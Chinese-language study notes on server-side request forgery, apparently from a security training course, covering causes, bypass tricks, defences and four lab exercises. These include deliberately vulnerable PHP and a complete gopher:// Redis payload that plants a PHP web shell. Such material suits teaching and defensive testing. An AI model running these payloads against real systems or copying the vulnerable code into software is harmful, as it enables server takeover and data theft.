DAY37:SSRF 漏洞
1、SSRF 漏洞概述
SSRF(Sever Side Request Forgery)—服务器端请求伪造,一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
1.1、SSRF 漏洞成因
SSRF 形成原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,利用存在缺陷的web应用作为代理攻击远程和本地的服务器
2、SSRF 漏洞可能存在的场景
(1)通过URL地址分享的网页内容处
(2)转码服务、在线转码服务
(3)在线翻译、通过URL地址翻译对应文本的内容
(4)图片、文章收藏功能
(5)未公开的api实现以及其他调用URL的功能
(6)图片加载与下载
3、SSRF 漏洞中 URL 的伪协议
file:/// 从文件系统中获取文件内容
php://filter 可以读取写入相应的数据来源
dict:// 端口刺探,字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
2、产生 SSRF 漏洞的函数
2.1、PHP 函数
file_get_contents
fsockopen()
curl_exec()
fopen()
注意:一般情况下 PHP 不会开启fopen
的gopher wrapper
,gopher
协议不能URL编码
2.2、JSP 函数
Request类
openStream类
HttpClient类
URLConnection类
HttpURLConnection类
4、SSRF 漏洞的危害
(1)可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
(2)攻击运行在内网或本地的应用程序(比如溢出)
(3)对内网web应用进行指纹识别,通过访问默认文件实现
(4)攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli
等)
(5)利用file协议读取本地文件等
(6)各个协议调用探针:http,file,dict,ftp,gopher
等
http:ip_address/phpmyadmin/
file:///D:/www.txt
dict://ip_address:3306/info
ftp://ip_address:21
5、SSRF 漏洞绕过方式
部分存在漏洞,或者可能产生 SSRF 的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到 SSRF 的攻击,需要对请求的参数地址做相关的绕过处理
5.1、@ 跳转绕过
url=file://@baidu.com/flag.php
层级符号(//)凭证信息@服务器地址:端口/文件路径?参数=值#片段
5.2、添加端口绕过
5.3、短地址绕过,302跳转绕过
https://dwz.cn/ #百度短地址
5.4、指向任意 IP 的域名 xip.io 绕过
利用DNS解析,xip.io可以指向任意域名
5.5、进制组合及缺省绕过
127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433.
5.6、利用 [::] 绕过
http://ip_address>>http://[::ip_address]
5.7、利用 。(句号)绕过
127。0。0。1 >>> 127.0.0.1
5.8、CRLF 编码绕过
%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入
url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
5.9、利用封闭的字母数字绕过
Enclosed alphanumerics:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://123.456.7.899>>>http://[::①②③。④⑤⑥。⑦。⑧⑨⑨]
5.10、?# 截断
file://www.baidu.com/html/flag?
file://www.baidu.com/绝对路径/目标文件
curl 支持 file://host/path、file://path
这两种格式
即使有 host 也可以访问本地文件
5.11、利用特殊协议绕过(7.5及以上)
gopher://
dict:// 端口刺探
http://ip_address/?xxx=dict://127.0.0.1:3306/info 进行模糊测试//redis 未授权访问漏洞
redis 未授权访问漏洞
目录操作
getchwd()
scandir()
chdir()
dirname()
数组操作
next()
end()
reset()
each()
array_shift()
读文件操作
show_source()
readfile()
highlight_file()
readgzfile()
6、SSRF 漏洞防御
(1)过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
如果web应用是去获取某一种类型的文件,那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
(2)统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
(3)限制请求的端口为http常用的端口,比如80,443,8080,8090
(4)黑名单内网ip,避免应用被用来获取获取内网数据,攻击内网
(5)禁用不需要的协议,仅仅允许http
和https
请求。可以防止类似于file:///,gopher://,ftp://
等引起的问题
示例:
1、Test1
<?php
if(!$_GET['site']){
$str = <<<EOD
<html>
<body>
look source code:
<form action='' method='GET'>
<input type='submit' name='submit' />
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/>
</form>
</body>
</html>
EOD;
echo $str;
die();
}
$url = $_GET['site'];
$url_schema = parse_url($url);
$host = $url_schema['host'];
$request_url = $url."/";
if ($host !== 'www.baidu.com'){
die("wrong site");
}
$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);
if($res){
echo "<h1>Source Code:</h1>";
echo $request_url;
echo "<hr />";
echo htmlentities($res);
}else{
echo "get source failed";
}
http://127.0.0.1/demo2.php?site=file://www.baidu.com/C:\phpstudy_pro\WWW\src/flag.php?
http://127.0.0.1/demo2.php?site=file://www.baidu.com/%2570hpstudy_pro/WWW/src/flag.%2570hp?
2、Test2
绕过strpos验证:
当我们发送一个带有编码的字符串到strpos()
时,当我们发出一个具有双重编码的串时,我们能够绕过验证,如果情况类似于strpos($string,"php")
,则使用%2570hp
可以使用 file:// 协议
http://172.16.0.47/src/demo.php?x=file://C:\%2570hpstudy_pro\WWW\src\flag.%2570hp
3、Test3
进入页面
使用 dict://
协议进行端口刺探
10.1.10.10:49154/?url=dict://127.0.0.1:3306/info
bp 爆破端口
查看内容
为 redis 未授权访问漏洞
使用 Gopherus-master
python2 编写进行上传 shell
python2 gopherus.py --exploit redis
PHPShell/默认/默认
生成成功
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
再进行依次url编码,进入页面在 url 处访问
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
接着get方式执行命令
成功
4、Test4
<?php
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])){
eval($_GET['code']);
}else{
show_source(__FILE__);
}
//?code=eval(hex2bin(session_id(session_start())));
if(isset($_GET['var'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) { //preg_replace主要功能限制传进的必须是小写字母的函数且不能带参数 (?R)?递归整个匹配的模式
if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) { //preg_match主要功能是过滤函数
eval($_GET['var']);
}
}
else{
die("hacker U!");
}
}
else{
show_source(__FILE__);
}
//?code=print_r(getcwd());
//?code=print_r(dirname(getcwd()));
//scandir('123')
//scandir('a()')
//print_r(array_reverse(scandir(current(localeconv()))))
preg_replace
替换匹配到的字符为空,\w
匹配字母、数字和下划线,等价于 [^A-Za-z0-9*]
,然后(?R)?
这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;
以上正则表达式只匹配a(b(c()))
或a()
这种格式,不匹配a("123")
,也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行